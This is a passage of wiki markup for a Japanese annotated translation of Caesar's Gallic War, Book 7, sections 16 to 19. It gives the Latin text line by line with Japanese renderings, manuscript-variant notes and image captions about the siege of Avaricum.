*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/16節]]　{{進捗|00%|2026-03-22}}&lt;/span&gt;
;アウァーリクムをめぐる両軍の駆け引き
:　
;　　　ウェルキンゲトリークスが、アウァーリクムから16マイル離れたところに宿営する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] [[wikt:en:minor#Latin|minoribus]] Caesarem [[wikt:en:iter#Latin|itineribus]] [[wikt:en:subsequitur|subsequitur]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルを緩やかな行軍で追尾して、
*et locum [[wikt:en:castra#Latin|castris]] [[wikt:en:eligit#Latin|deligit]] [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:munitus#Latin|munitum]] 
**沼地や森林で防御された地点を陣営のために選んだ。
*ab [[wikt:en:Avaricum#Latin|Avarico]] longe milia passuum [[wikt:en:sedecim#Latin|sedecim]]&lt;sub&gt; (XVI)&lt;/sub&gt;. 
**アウァーリクムから16&lt;u&gt;ローママイル&lt;/u&gt;隔たっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、16マイルは約24 km）&lt;/span&gt;
:　
;　　　ウェルキンゲトリークスが、斥候を放ってアウァーリクムを探り、部下たちに指図する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ibi per [[wikt:en:certus#Latin|certos]] [[wikt:en:explorator#Latin|exploratores]] 
**そこで、一定の斥候たちを通して、
*in [[wikt:en:singulus#Latin|singula]] diei tempora, quae ad [[wikt:en:Avaricum#Latin|Avaricum]] &lt;u&gt;agerentur&lt;/u&gt;, [[wikt:en:cognoscebat|cognoscebat]] 
**日中の毎時、アウァーリクム近傍で行なわれていることを探知して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:agerentur|agerentur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:gererentur|gererentur]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quis#Latin|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:imperabat|imperabat]]. 
**&lt;small&gt;（彼自身が）&lt;/small&gt;なされることを欲していることを&lt;small&gt;（麾下の者たちに）&lt;/small&gt;命令していた。
:　
;　　　ウェルキンゲトリークスとローマ勢の糧秣調達をめぐる攻防
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Omnes nostras [[wikt:en:pabulatio#Latin|pabulationes]] [[wikt:en:frumentatio#Latin|frumentationes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:observabat|observabat]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:糧秣|秣や糧食]]の徴発の一部始終を注視していて、
*[[wikt:en:dispersus#Latin|dispersos]]&lt;nowiki&gt;que&lt;/nowiki&gt;, cum longius necessario [[wikt:en:procederent|procederent]], [[wikt:en:adoriebatur|adoriebatur]] 
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;分散して、やむを得ずにはるか遠くに進み出たときに、&lt;small&gt;（ガッリア勢が）&lt;/small&gt;襲いかかって、
*[[wikt:en:magnus#Latin|magno]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:incommodum#Latin|incommodo]] [[wikt:en:adficiebat|adficiebat]], 
**&lt;small&gt;（ローマ勢に）&lt;/small&gt;大きな損害を与えていた。
*[[wikt:en:etsi#Latin|etsi]], quantum [[wikt:en:ratio#Latin|ratione]] [[wikt:en:provideri|provideri]] [[wikt:en:poterat|poterat]], ab nostris [[wikt:en:occurrebatur|occurrebatur]], 
**とはいえ、できるかぎり用心する判断により&lt;small&gt;（敵の襲撃を）&lt;/small&gt;我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;によって阻止していた。
*ut [[wikt:en:incertus#Latin|incertis]] temporibus [[wikt:en:diversus#Latin|diversis]]&lt;nowiki&gt;que&lt;/nowiki&gt; itineribus [[wikt:en:iretur|iretur]].
**不確定な時間帯にまったく別々の道を行き来するというように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===17節===
[[画像:Carte_du_Cher.svg|thumb|right|250px|アウァーリクム、すなわち現在の[[w:ブールジュ|ブールジュ市]]（Bourges）のあるフランス・[[w:シェール県|シェール県]]の地図。中心にブールジュがあり、右下（南東）のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にボイイー族の首邑ゴルゴビナ（Gorgobina）があったと推定されている。右（東）隣の[[w:ニエーヴル県|ニエーヴル県]]（Nièvre）が[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/17節]]　{{進捗|00%|2026-03-28}}&lt;/span&gt;
;アウァーリクム攻囲に取りかかるローマ軍の糧秣欠乏
:　
;　　　カエサルが、アウァーリクム攻囲のための堡塁工事に着手
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:castra#Latin|Castris]] ad eam partem [[wikt:en:oppidum#Latin|oppidi]] [[wikt:en:positus#Participle|positis]] Caesar, 
**カエサルは、[[w:オッピドゥム|城塞都市]]の&lt;small&gt;（以下に述べるような）&lt;/small&gt;方面に陣営を設置して、
*quae [[wikt:en:intermissus#Latin|intermissa]] a flumine et a &lt;u&gt;paludibus&lt;/u&gt; 
**──&lt;small&gt;（その方面は）&lt;/small&gt;川や沼地により&lt;small&gt;（外部から）&lt;/small&gt;遮断されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:paludibus|paludibus]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:palude#Latin|palude]] となっている。）&lt;/span&gt;
*[[wikt:en:aditus#Noun_3|aditum]], ut supra [[wikt:en:diximus#Latin|diximus]], [[wikt:en:angustus#Latin|angustum]] [[wikt:en:habebat|habebat]], 
**&lt;u&gt;前に述べたように&lt;/u&gt;、狭い進入路を持っているというものであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#15節|15節]]⑤項では、&lt;br&gt;　　　　ほぼあらゆる方向から川や沼地で囲まれており、&lt;br&gt;　　　　一つだけ、非常に狭い進入路を持っている、&lt;br&gt;　　　　と言及された。）&lt;/span&gt;
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:apparare#Latin|apparare]], 
**&lt;small&gt;（さらに）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を装備すること、
*[[wikt:en:vinea#Latin|vineas]] [[wikt:en:ago#Latin|agere]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を駆動すること、
*[[wikt:en:turris#Latin|turres]] duas [[wikt:en:constituo#Latin|constituere]] [[wikt:en:coepit|coepit]]; 
**2つの&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を建てること、を始めた。
*nam [[wikt:en:circumvallo#Latin|circumvallare]] loci natura [[wikt:en:prohibebat|prohibebat]]. 
**なぜなら&lt;small&gt;（城塞都市を）&lt;/small&gt;堡塁で囲むことを地勢が妨げていたからだ。
&lt;div style=&quot;text-align:center;&quot;&gt;
{|
|-
|[[画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|thumb|right|350px|城壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。左上には、両軍の&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が描かれている。]]
|[[画像:Bender - Vinea.JPG|thumb|right|350px|&lt;ruby&gt;&lt;rb&gt;工作小屋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;  [[wikt:en:vinea|vinea]] の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。敵の矢玉などから身を守りながら城壁に近づくために用いられたと考えられている。]]
|}
&lt;/div&gt;
:　
;　　　カエサルが、同盟者であるボイイー族やハエドゥイー族に、糧秣徴発を促す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; De re [[wikt:en:frumentarius#Adjective|frumentaria]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:糧秣|糧秣]]調達について、
*[[wikt:en:Boii#Latin|Boios]] atque [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:adhortari|adhortari]] non [[wikt:en:destitit|destitit]]; 
**[[w:ボイイ族|ボイイー族]]や[[w:ハエドゥイ族|ハエドゥイー族]]を鼓舞することを止めなかった。
*quorum [[wikt:en:alter#Latin|alteri]], quod [[wikt:en:nullus#Determiner|nullo]] [[wikt:en:studium#Latin|studio]] [[wikt:en:agebant|agebant]], non multum [[wikt:en:adiuvabant|adiuvabant]], 
**彼らのうち一方&lt;small&gt;〔ハエドゥイー族〕&lt;/small&gt;は、何らの努力を行なわなかったので、あまり助けにならなかった。
*[[wikt:en:alter#Latin|alteri]] non magnis [[wikt:en:facultas#Latin|facultatibus]], quod [[wikt:en:civitas#Latin|civitas]] erat [[wikt:en:exiguus#Latin|exigua]] et [[wikt:en:infirmus#Latin|infirma]], 
**他方&lt;small&gt;〔ボイイー族〕&lt;/small&gt;は、貧弱かつ無力な部族であったので、大した貯えもなく、
*celeriter quod [[wikt:en:habuerunt|habuerunt]] [[wikt:en:consumpserunt|consumpserunt]]. 
**早々と持っていたものを消費し切ってしまった。
:　
;　　　糧秣の欠乏が続くが、ローマの将兵たちが耐え抜く
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|Summa]] [[wikt:en:difficultas#Latin|difficultate]] rei [[wikt:en:frumentarius#Adjective|frumentariae]] [[wikt:en:adfectus#Latin|adfecto]] [[wikt:en:exercitus#Noun|exercitu]] 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;軍隊は糧秣調達の大いなる困難さに苦悩させられながらも、
*[[wikt:en:tenuitas#Latin|tenuitate]] [[wikt:en:Boii#Latin|Boiorum]], 
**──&lt;small&gt;（その困難は）&lt;/small&gt;ボイイー族の微力さ、
*[[wikt:en:indiligentia#Latin|indiligentia]] [[wikt:en:Haedui#Latin|Haeduorum]], 
**ハエドゥイー族の怠慢、
*[[wikt:en:incendium#Latin|incendiis]] [[wikt:en:aedificium#Latin|aedificiorum]], 
**&lt;small&gt;（敵勢による）&lt;/small&gt;家屋の焼き打ちによるものであったが、──
*usque eo ut [[wikt:en:complures#Determiner|complures]] dies [[wikt:en:frumentum#Latin|frumento]] [[wikt:en:miles#Latin|milites]] [[wikt:en:caruerint|caruerint]] 
**かなりの日々にわたって兵士たちは糧食を欠くまでになり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:usque#Latin|usque]] eo ut ～「～まで」）&lt;/span&gt;
*et [[wikt:en:pecus#Latin|pecore]] ex [[wikt:en:longinquior#Latin|longinquioribus]] [[wikt:en:vicus#Latin|vicis]] [[wikt:en:adactus#Latin|adacto]] 
**かなり遠方の村々から家畜を駆り立てたので
*[[wikt:en:extremus#Latin|extremam]] [[wikt:en:fames#Latin|famem]] [[wikt:en:sustentarent|sustentarent]], 
**極限の飢えに耐え通すまでになったのであるが、
*[[wikt:en:nullus#Determiner|nulla]] tamen &lt;u&gt;vox est ab iis&lt;/u&gt; [[wikt:en:auditus#Latin|audita]] populi Romani [[wikt:en:maiestas#Latin|maiestate]] et [[wikt:en:superior#Latin|superioribus]] [[wikt:en:victoria#Latin|victoriis]] [[wikt:en:indignus#Latin|indigna]]. 
**しかしながら、ローマ人民の威厳やかつての勝利にふさわしからぬ声は、彼らから何ら聞かれなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:vox#Latin|vox]] est &lt;u&gt;ab&lt;/u&gt; iis だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では &lt;u&gt;ex&lt;/u&gt; iis vox est となっている。）&lt;/span&gt;
:　
;　　　ローマ人将兵たちがカエサルに攻囲の継続を訴える
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:quin#Latin|Quin]] etiam Caesar cum in [[wikt:en:opus#Latin|opere]] [[wikt:en:singulus#Latin|singulas]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:appellaret|appellaret]], 
**いやそればかりか、カエサルが作業中のそれぞれの[[w:ローマ軍団|軍団]]に呼びかけたとき、
*et, si [[wikt:en:acerbe#Latin|acerbius]] [[wikt:en:inopia#Latin|inopiam]] [[wikt:en:ferrent#Latin|ferrent]], se [[wikt:en:dimissurus#Latin|dimissurum]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt; [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:diceret|diceret]], 
**もし、とても過酷に欠乏に耐えているのならば、自分は攻囲を放棄するであろう、とカエサルが言っていたときに、
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:universi#Latin|universi]] ab eo, ne id [[wikt:en:faceret|faceret]], [[wikt:en:petebant|petebant]] : 
**&lt;small&gt;（各軍団の）&lt;/small&gt;一同は、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に、それ&lt;small&gt;〔攻囲の放棄〕&lt;/small&gt;をしないように求めていた。
*sic se complures annos illo [[wikt:en:imperans#Latin|imperante]] [[wikt:en:meruisse|meruisse]], 
**自分たちは&lt;small&gt;（以下のように）&lt;/small&gt;幾年にもわたって彼&lt;small&gt;〔カエサル〕&lt;/small&gt;の麾下で努めてきた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sic ～ ut …「…のように～である」）&lt;/span&gt;
*ut [[wikt:en:nullus#Determiner|nullam]] [[wikt:en:ignominia#Latin|ignominiam]] [[wikt:en:acciperent|acciperent]], &lt;u&gt;nusquam incepta&lt;/u&gt; re [[wikt:en:discederent|discederent]]: 
**何ら不名誉を蒙ってないし、事&lt;small&gt;〔戦役〕&lt;/small&gt;が完遂されないまま&lt;small&gt;（戦列を）&lt;/small&gt;離脱することは決してなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:nusquam#Latin|nusquam]] [[wikt:en:inceptus#Latin|incepta]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:numquam#Latin|numquam]] [[wikt:en:infectus#Adjective|infecta]] となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; hoc se [[wikt:en:ignominia#Latin|ignominiae]] &lt;u&gt;loco [[wikt:en:laturus#Latin|laturos]]&lt;/u&gt; &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt;, si [[wikt:en:inceptus#Latin|inceptam]] [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:reliquissent|reliquissent]]; 
**もし&lt;small&gt;（自分たちが）&lt;/small&gt;着手した攻囲を放棄してしまったならば、自分たちはこの状態を不名誉と見なすであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では loco laturos の語順だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では laturos loco の語順となっている。）&lt;/span&gt;
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;praestare&lt;/u&gt; omnes [[wikt:en:perferre|perferre]] [[wikt:en:acerbitas#Latin|acerbitates]], 
**あらゆる厳しさに持ちこたえることは&lt;small&gt;（以下のこと）&lt;/small&gt;よりましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:civis#Latin|civibus]] Romanis, qui [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:perfidia#Latin|perfidia]] Gallorum [[wikt:en:interissent|interissent]], [[wikt:en:parentarent|parentarent]]. 
**ケナブムでガッリア人たちの不義により滅びたローマ市民たちの仇討ちをしないよりも。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#3節|3節]]①項を参照。仇討ちをしないのなら、苦しむ方がましである、の意）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Haec [[wikt:en:idem#Latin|eadem]] [[wikt:en:centurio#Latin|centurionibus]] [[wikt:en:tribunus#Latin|tribunis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:miles#Latin|militum]] 
**これらと同じことを、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、
*[[wikt:en:mandabant|mandabant]], ut per eos ad Caesarem [[wikt:en:deferrentur|deferrentur]].
**彼らを通じてカエサルに申し立てるように、依頼していた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===18節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/18節]]　{{進捗|00%|2026-04-13}}&lt;/span&gt;
;カエサルがウェルキンゲトリークス不在の敵陣へ迫る
:　
;　　　カエサルは、ウェルキンゲトリークスが糧秣の欠乏によりローマ勢の糧秣徴発隊を襲撃に向かったと知る
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum iam [[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turres]] [[wikt:en:adpropinquassent#Latin|adpropinquassent]], 
**すでに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁に&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]が近づいていた際に、
*ex [[wikt:en:captivus#Noun|captivis]] Caesar [[wikt:en:cognovit#Latin|cognovit]], 
**カエサルは、捕虜たちから&lt;small&gt;（以下のことを）&lt;/small&gt;知った。
*[[wikt:en:Vercingetorix#Latin|Vercingetorigem]], [[wikt:en:consumptus#Latin|consumpto]] [[wikt:en:pabulum#Latin|pabulo]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は[[w:糧秣|糧秣]]を消費し切ると、
*castra [[wikt:en:movisse#Latin|movisse]] propius [[wikt:en:Avaricum#Latin|Avaricum]], 
**陣営をアウァーリクムのより近くに移動させて、
*atque ipsum cum [[wikt:en:equitatus#Latin|equitatu]] [[wikt:en:expeditus#Noun|expeditis]]&lt;nowiki&gt;que&lt;/nowiki&gt;, qui inter [[wikt:en:eques#Latin|equites]] [[wikt:en:proeliari#Verb|proeliari]] [[wikt:en:consuessent#Latin|consuessent]], 
**彼自身は、[[w:騎兵|騎兵]]隊、および騎兵たちの間で争闘することに習熟していた[[w:軽装歩兵|軽装歩兵]]たちとともに、
*&lt;u&gt;insidiarum&lt;/u&gt; causa eo [[wikt:en:profectus#Etymology_3|profectum]], quo nostros postero die [[wikt:en:pabulatum#Verb|pabulatum]] [[wikt:en:venturus#Latin|venturos]] [[wikt:en:arbitraretur#Latin|arbitraretur]]. 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が翌日に糧秣徴発にやって来るであろうと思われるところで待ち伏せするために、出発した、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:insidiarum|insidiarum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:insidiandi#Latin|insidiandi]] となっている。）&lt;/span&gt;

[[画像:AVARICUM Battaglia 52 aC.png|thumb|right|300px|アウァーリクム攻略戦の布陣図（&lt;small&gt;イタリア語&lt;/small&gt;）。中央がアウァーリクム（AVARICUM）、右下の赤枠内がカエサルと8個軍団の陣営、赤い矢印の先端がローマ軍の土塁。左上の楕円形がウェルキンゲトリークスが移動させた陣営。]]
[[画像:Funerary chariot in the archeological museum of Strasbourg.jpg|thumb|right|300px|[[w:ハルシュタット文化|ハルシュタット文化]]の墳墓の副葬品として発掘された '''四輪荷馬車''' のレプリカ（仏ストラスブール考古学博物館）。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Quibus rebus [[wikt:en:cognitus#Participle|cognitis]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;それらの事情を知るや、
*media nocte [[wikt:en:silentium#Latin|silentio]] [[wikt:en:profectus#Etymology_3|profectus]] 
**真夜中の静けさのうちに出発して、
*ad hostium castra [[wikt:en:mane#Adverb_2|mane]] [[wikt:en:pervenit#Etymology_2|pervenit]]. 
**敵の陣営の辺りへ朝方に到着した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi, celeriter per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:adventus#Latin|adventu]] Caesaris [[wikt:en:cognitus#Participle|cognito]] 
**あの者たちは、速やかに斥候たちを通じてカエサルの到来を知るや、
*&lt;u&gt;carros&lt;/u&gt; [[wikt:en:impedimentum#Latin|impedimenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; sua in [[wikt:en:artior#Latin|artiores]] [[wikt:en:silva#Latin|silvas]] [[wikt:en:abdiderunt#Latin|abdiderunt]], 
**自分たちの&lt;u&gt;四輪荷馬車&lt;/u&gt;と[[w:輜重|輜重]]をとても深い森の中に隠して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：四輪荷馬車 [[wikt:en:carrus#Latin|carrus]] は、例えば右の画像のものを参照。）&lt;/span&gt;
*copias omnes in loco [[wikt:en:editus#Latin|edito]] atque [[wikt:en:apertus#Latin|aperto]] [[wikt:en:instruxerunt#Latin|instruxerunt]]. 
**全軍勢を高くそびえて開けている場所に配置した。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qua re [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事を報告されて、
*Caesar celeriter [[wikt:en:sarcina#Latin|sarcinas]] [[wikt:en:conferri#Latin|conferri]], 
**カエサルは速やかに&lt;small&gt;（兵士たちの）&lt;/small&gt;[[w:背嚢|背嚢]]が運び集められること、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:expediri#Latin|expediri]] [[wikt:en:iussit#Verb|iussit]].
**武具が&lt;small&gt;（すぐ使えるように）&lt;/small&gt;整えられることを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===19節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/19節]]　{{進捗|00%|2026-04-20}}&lt;/span&gt;
;丘の上のガッリア勢と沼沢を挟んで対峙する
:　
;　　　ガッリア勢の陣営の地勢
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:collis#Latin|Collis]] erat &lt;u&gt;leniter&lt;/u&gt; ab [[wikt:en:infimus#Latin|infimo]] [[wikt:en:adclivis#Latin|adclivis]]. 
**&lt;small&gt;（ガッリア勢がいる）&lt;/small&gt;丘陵はふもとから緩やかに、登り坂になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系･&amp;chi;系･B･M･S･N&lt;sup&gt;c&lt;/sup&gt; 写本では [[wikt:en:leviter#Latin|leviter]] 、&lt;br&gt;　　　　　　　　　L･N写本では [[wikt:en:breviter#Latin|breviter]] だが、&lt;br&gt;　　　　　　　　　より劣った写本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|codd.deter.]]'' では [[wikt:en:leniter#Latin|leniter]] となっている。

*Hunc ex omnibus fere partibus [[wikt:en:palus#Latin|palus]] [[wikt:en:difficilis#Latin|difficilis]] atque [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:cingebat#Latin|cingebat]] 
**これ&lt;small&gt;〔丘陵〕&lt;/small&gt;を、ほぼすべての方角から、不便で通りにくい沼地が取り巻いていて、
*non [[wikt:en:latior#Latin|latior]] [[wikt:en:pes#Latin|pedibus]] [[wikt:en:quinquaginta#Latin|quinquaginta]]. 
**&lt;small&gt;（その沼地は）&lt;/small&gt;50&lt;u&gt;[[w:ペース (長さ)|ペース]]&lt;/u&gt;より幅広くなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、50ペースは約15メートル弱。）&lt;/span&gt;
:　
;　　　丘の周囲を部族ごとに分かれて守備している
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc se [[wikt:en:collis#Latin|colle]] [[wikt:en:interruptus#Latin|interruptis]] [[wikt:en:pons#Latin|pontibus]] 
**この丘陵において、橋梁を破却すると、
*Galli [[wikt:en:fiducia#Latin|fiducia]] loci [[wikt:en:continebant#Latin|continebant]] 
**ガッリア人たちは、地勢を頼りに留まっていて、
*[[wikt:en:generatim#Latin|generatim]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:distributus#Latin|distributi]] in civitates 
**&lt;small&gt;（軍勢を）&lt;/small&gt;諸部族の種族ごとに分けて配置させて、
*omnia [[wikt:en:vadum#Latin|vada]] ac [[wikt:en:saltus#Etymology_2|saltus]] eius [[wikt:en:palus#Latin|paludis]] &lt;u&gt;certis custodiis&lt;/u&gt; [[wikt:en:obtinebant#Latin|obtinebant]], 
**その沼地の、すべての浅瀬や隘路を &lt;u&gt;一定の護衛兵たちによって&lt;/u&gt; 占領していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:certus#Latin|certis]] [[wikt:en:custodia#Latin|custodiis]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; animo [[wikt:en:paratus#Latin|parati]] &lt;u&gt;ut&lt;/u&gt;, si eam [[wikt:en:palus#Latin|paludem]] Romani [[wikt:en:perrumpo#Latin|perrumpere]] [[wikt:en:conarentur#Latin|conarentur]], [[wikt:en:haesitans#Latin|haesitantes]] [[wikt:en:premerent#Latin|premerent]] ex loco [[wikt:en:superior#Latin|superiore]]; 
**もしローマ勢がその沼地を強行突破せんと試みたならば、ぐずぐずしている者らを高地から圧倒する心積もりであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
:　
;　　　両軍は互角か？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; ut, qui [[wikt:en:propinquitas#Latin|propinquitatem]] loci [[wikt:en:videret#Latin|videret]], 
